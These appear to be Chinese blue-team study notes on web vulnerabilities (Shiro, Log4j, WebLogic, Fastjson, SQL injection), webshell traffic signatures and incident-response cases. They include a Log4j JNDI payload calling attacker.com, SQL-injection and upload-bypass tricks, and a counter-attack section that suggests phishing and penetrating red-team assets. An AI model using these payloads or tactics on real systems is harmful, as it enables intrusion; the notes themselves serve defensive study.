websocket 流量特征
- 通常是复用 80和 443 端口,在原有的http协议上生成。upgrade : websocket
- 长链接,连接通常保持打开和空闲状态,直到客户端或服务器发送消息,客户端与服务器之间存在定时的ping-pong机制数据交互以保持连接状态
- 客户端带有 Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w== 用于加密
- Websocket 多用于聊天或者小包传输场景中
IP封禁
- 如果有防火墙等设备,推荐在防火墙上封禁IP
- 如果内网沦陷,可上线服务器手动设置IPtbles 防火墙隔离受感染机器
- 同时上报 IP给其他人
危险函数
代码执行: eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function
文件读取: file_get_contents(),highlight_file(),fopen(),read
file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()
等
命令执行:system(), exec(), shell_exec(), passthru() ,pcntl_exec(),popen(),proc_open()
Sharo 反序列原理
服务器端对rememberMe中的cookie依次进行base64解密、AES解密和反序列化得到cookie的值对用户进行认证。 rememberMe 可以被构造,将恶意代码放入 rememberMe,服务器端解析后就会触发Java反序列化漏洞,进而在目标机器上执行任意命令。 漏洞原理:
- shiro550 硬编码的key
- shiro-721 用户通过 Padding Oracle 攻击生成的攻击代码构造恶意的rememberMe字段,造成任意代码执行,原理:服务端回显,反映解密成功与否。服务器的回显总归是有些危险的,我们可以以回显差异来判断我们的输入是否正确,这也是padding oracle攻击的利用点 防御: 升级 限制rememberMe字段长度
log4j
出网协议 rmi、ldap,
对 JNDI 出网协议解析不正确,攻击者在服务器中构造恶意Class 文件,在日志中如果有 JNDI 解析触发错误,如${jndi:rmi:http://attacker.com/exp}
下载攻击者class
并实例化执行
绕过:
希腊文字,UPPER,LOWER 等
weblogic
T3 协议发送反序列化漏洞
T3 配合RMI,JDNI 协议发送反序列化漏洞
流量特征:开头都是ac ed 00 05,端口:7001 数据包里有 CommonCollections/ysoserial 相关的东西
监测:
nmap script
里有 weblogic-t3-info,WebLogic
的具体版本号为10.3.6.0以下就行。
防御:
增加 jep290
机制,需要修改JDK 设置
jdk版本过低没有JEP290机制下,需要重写 resolveClass(resolveClass读取反序列化的类名)
来进行反序列化类黑名单过滤。
fastjson
Object --> json or json-->Object
反序列化 @type 指定的类时,指定类的 setter 或 getter 被调用导致的命令执行,比如 JDBCRowSetImpl setter dataSourceName 方法,支持RMI远程调用。 在后续的版本中:Commons IO 2.x 写文件利用链挖掘 XmlStreamReader 在1.2.25到1.2.41之间 autotype 可以绕过,函数checkAutotype存在缺陷 ver=1.2.47 java.lang.class 不在黑名单里
监测方法: xray 找到提交的接口,比如 GET, POST, Cookie 有个参数 json,然后提交 构造的 JSON 数据,看dnslog有无返回,java.net.InetSocketAddress
防御: 开启safeMode,-Dfastjson.parser.safeMode=true 升级到最新版本1.2.83
云函数
云函数:是独立运行的代码,托管在腾讯云平台上,可实现批量探测,由于IP数量多,造成溯源难度大,封禁难度大
- 通过观测流量的方法,提取攻击者攻击的端口号,业务系统精细到某个页面某个接口的利用,提取特征,然后根据特征编写防火墙规则
- X-Api-Status
- sh.apigw.tencentcs.com 域名前置
蜜罐
- 可以模拟真实交互场景
- 捕获攻击者攻击IP,攻击手法,甚至是未公开0day
- 捕获上传的木马以便后续分析,可以大概对攻击者所在的组织特征进行画像
- 可以起到攻击预警监测的作用,帮助及时发现任何攻击活动。
SQL 注入
- 通过报错注入(bczr)(常用函数,updataxml,extractXML ,rand,exp ,squar 等函数)猜表名。
- 构造SQL语句,写入文件到可写入的路径下的可读写文件中,盲注函数(substr,left,right,ascii,char)
- 多次构造注入语句进行多次写入操作,拼接成完整的Payload
- 访问运行
注入写文件的条件
- 必须有写入权限
- 查询语句的函数必须要能输出内容到某个文件里,常见的指令有 into outfile,load date file
- 该文件不能为空,且必须是文本文件
- 攻击者必须知道文件在哪里
SQL 绕过(sqlrg):
大小写,编码绕过,宽字节绕过,内敛注释绕过,十六进制绕 SQL 注入预编译绕过:使用单引号和注释来拼接注入语句。
SQL 注入防御
- 严格规律用户输入语句
- 使用预编译
- 站酷分离设计
SQLmap 流量特征
- 大量的SQL查询发生,并且大量的不同规则的Payload反复对同一个页面或者接口查询
- SQLmap有自己的UA 特征
- 会在Cookie 字段里发现注入payload
绕过
文件上传漏洞绕过: 前端+后端过滤,后缀名截断,后缀名,MME绕过(修改 Content-Type ibm500、cp875 Accept-Encoding gzip 截断文件名 HTTP PIpeline 分块传输)
网站被挂马怎么办
- 取证(登录服务器,查看日志异常进程端口号,web页面可疑文件等),处理(删除木马文件,内存马使用专用清除工具,或者手写JVM 拦截器),溯源(入侵IP背景信息,入侵手法,恶意代码相似度归类),记录
溯源
掌握攻击者的攻击手法,掌握攻击者背后的 IP &域名资产,掌握攻击者的真实身份 溯源攻击手法:收集 如 Req/resp,User-Agent,特有的红队工具,钓鱼邮件(LNK、EXE、DOCX)特征,使用过的漏洞。 溯源资产:发件服务器操作系统,IP,whos信息,绑定过的域名,DNS记录,回连C2,端口 溯源后门:代码逻辑,行为,利用的操作系统漏洞,链接到的二进制库 ID号:社交平台,Google,twitter,GitHub,Gitee,StackOverflow等,支付宝,微信
反制
通过对红队的资产展开渗透测试,拿下有些服务 蜜罐中诱导红队下载SSL VPN,恶意文档等 给红队发送钓鱼邮件等。 BUrpsite,扫描器fz,gz炸弹,nmap syn 超时等
FOFA
domain=”qq.com” 搜索根域名带有qq.com的网站。 host=”.gov.cn” 从url中搜索”.gov.cn” 搜索要用host作为名称 port=”6379” 查找对应“6379”端口的资产 ip=”220.181.111.1/24” 查询IP为“220.181.111.1”的C网段资产
蚁剑、冰蝎,哥斯拉流量特征
蚂剑
- User-agent 为 Ant-swa,但是可以修改 request.js 实现
- 混淆后的流量大部分是 0x 开头的
冰蝎
- Accept 头是 application/xhtml lapplication/xml application/signed- exchange 弱特征
- Content-Type: application/octet-stream 强特征,并且伴随着大量的Content-Type: applicationo/ctet-stream,很少使用
- UserAgent 内置16 个,随机选择,弱特征
哥斯拉
动态特征
- 监控 JVM 拦截反射类 javax.crypto.Cipher.getInstance(“AES”)
- C# 拦截 System.Security.Cryptography.RijndaelManaged()
- PHP使用异常或加密,并且直接使用 eval 静态特征
- User-Agent
- Accept text/html img/gif img/jepg; q=.2
- Cookies 后面有个 ; 号
- 第一个包比较大,后续的包有大有小,统计学特征
- 响应特征,把 32 位 MD5 拆开,16 位 md5 + base64 + 后 16 位 md5, md5 字符集 0-9A-F 匹配
应急响应流程
应急响应流程:准备-监测-抑制-根除-恢复-编写报告
上机排查
首先确定是否为误报,分析抓到的Payload,如果是:
- 定位是哪台机器,可以在安全设备上查看
- 定位与这台机器互相连接的机器,大致确定可能的受攻击范围
- 记得一定要进行备份操作。
- 非紧急的业务系统可以先做下线处理,在做大动作之前,先搞清楚业务逻辑,最好能得到领导的点头同意/
- 根据告警内容检查相关服务的异常情况,如果有异常就需要采取阻断清楚威胁手段
- 检查主机机器关联机器的日志文件,异常端口开放,可疑进程,数据库表单是否被修改,用户名等
- 编写产出监测报告 如果不是,及时更新防火墙规则,以免才吃
应急响应案例
某公司十余台服务器感染勒索病毒,文件遭勒索加密,因 此向奇安信安服团队发起应急响应请求,查询中毒原因。 应急人员抵达现场后,查看加密文件后缀及勒索病毒界面,判断该病毒 是Phobos家族勒索病毒。通过现场对多台受害服务器进行日志分析,并与 相关工作人员沟通,发现公司内部员工曾使用个人电脑通过非官方渠道下载 各类破解版软件,导致个人电脑感染勒索病毒。同时内网多台服务器均开放 3389远程桌面服务端口,勒索病毒进入内网后对内网服务器进行RDP暴破, 暴破成功后释放勒索病毒,加密文件。 加强内部访问策略,禁止或限制个人电脑进入内网,如业务需要,增 加访问控制策略; 2)建议在服务器上部署安全加固软件,通过限制异常登录行为、开启防 暴破功能、禁用或限用危险端口(如3389、445、139、135等)、防范漏洞 利用等方式,提高系统安全基线,防范黑客入侵; 禁止通过非官方渠道下载应用软件,及时修复 漏洞、安装补丁,将信息安全工作常态化
医疗行业某单位网内约 1000多台终端和服务器存在大量病毒,客户机不定时重启、蓝屏,严重影响 业务系统的正常运行。 应急人员通过对相关进程、文件、服务进行排查分析后,判断该单位内 网失陷是由于感染“永恒之蓝下载器”木马,导致病毒泛滥。通过检查现场内 网失陷主机,发现现场主机系统均未安装杀毒防护软件,C:\Windows目录下 存在大量以随机字符命名的.exe文件,并在系统服务中发现大量该exe对应的 服务。在分析天眼设备抓取流量时,发现内网共存在11种病毒,包括蠕虫病 毒、挖矿病毒、勒索病毒、远控木马、僵尸网络等多种病毒,且发现主机高危 端口如135、137、138、445端口均为开启状态并存在传播病毒的行为。除此 之外,应急人员在检查过程中发现sqlserver数据库管理员账户密码与网内所 有服务器均使用同一种密码,且该数据库服务器未安装任何安全防护设备,使 得木马快速在内网扩散,并存在大量外连行为,导致大量机器沦陷。 系统、应用相关用户杜绝使用弱口令,应使用高复杂强度的密码,尽 量包含大小写字母、数字、特殊符号等的混合密码,加强管理员安全意识, 禁止密码重用的情况出现; 2)有效加强访问控制ACL策略,细化策略粒度,按区域按业务严格限制 各个网络区域以及服务器之间的访问,采用白名单机制只允许开放特定的业 务必要端口,其他端口一律禁止访问,仅管理员IP可对管理端口进行访问, 如FTP、数据库服务、远程桌面等管理端口; 3)部署高级威胁监测设备,及时发现恶意网络流量,同时可进一步加强 追踪溯源能力,对安全事件发生时可提供可靠的追溯依据; 4)建议在服务器上部署安全加固软件,通过限制异常登录行为、开启防 暴破功能、禁用或限用危险端口、防范漏洞利用等方式,提高系统安全基 线,防范黑客入侵
应急人员抵达现场后,通过对系统分析发现在WEB负载服务器WEB01 中确实存在黑链,对Web01进行排查发现后门文件,溯源分析后发现攻击者 是通过TRS服务器登入Web01系统,获取了Web01系统权限,通过对TRS 服务器Web日志分析发现攻击者利用TRS漏洞,植入WebShell后门,攻击 IP经调研后发现为内部Redis服务器,通过对Redis服务器进行分析发现该 机器存在RootKit程序,该程序会自动连接到攻击者服务器,植入时间为: 2017/03/17 ,且在该机器上发现了攻击者利用Redis未授权获得本机SSH管 理权限的行为和内网扫描行为。 综上,攻击者通过利用Redis未授权漏洞获取了Redis服务器本机SSH 管理权限,并对同网段进行扫描,发现TRS服务器存在漏洞,并对该漏洞进 行利用,获取TRS服务器权限并植入Webshell后门文件,由于TRS服务器 与WEB负载服务器均使用相同密码,攻击者通过密码登录到WEB负载服务 器,植入后门文件,并在官网首页文件中插入恶意代码
Windows 攻防
隐蔽的影子账户可以在注册表里Sam里看到。 Systeminfo可以查看系统信息并展示系统补丁信息 日志 Windows审核策略,事件查看器,有日志筛选框
可疑进程: netstat,tasklist, 计划任务 schtasks %temp% 临时文件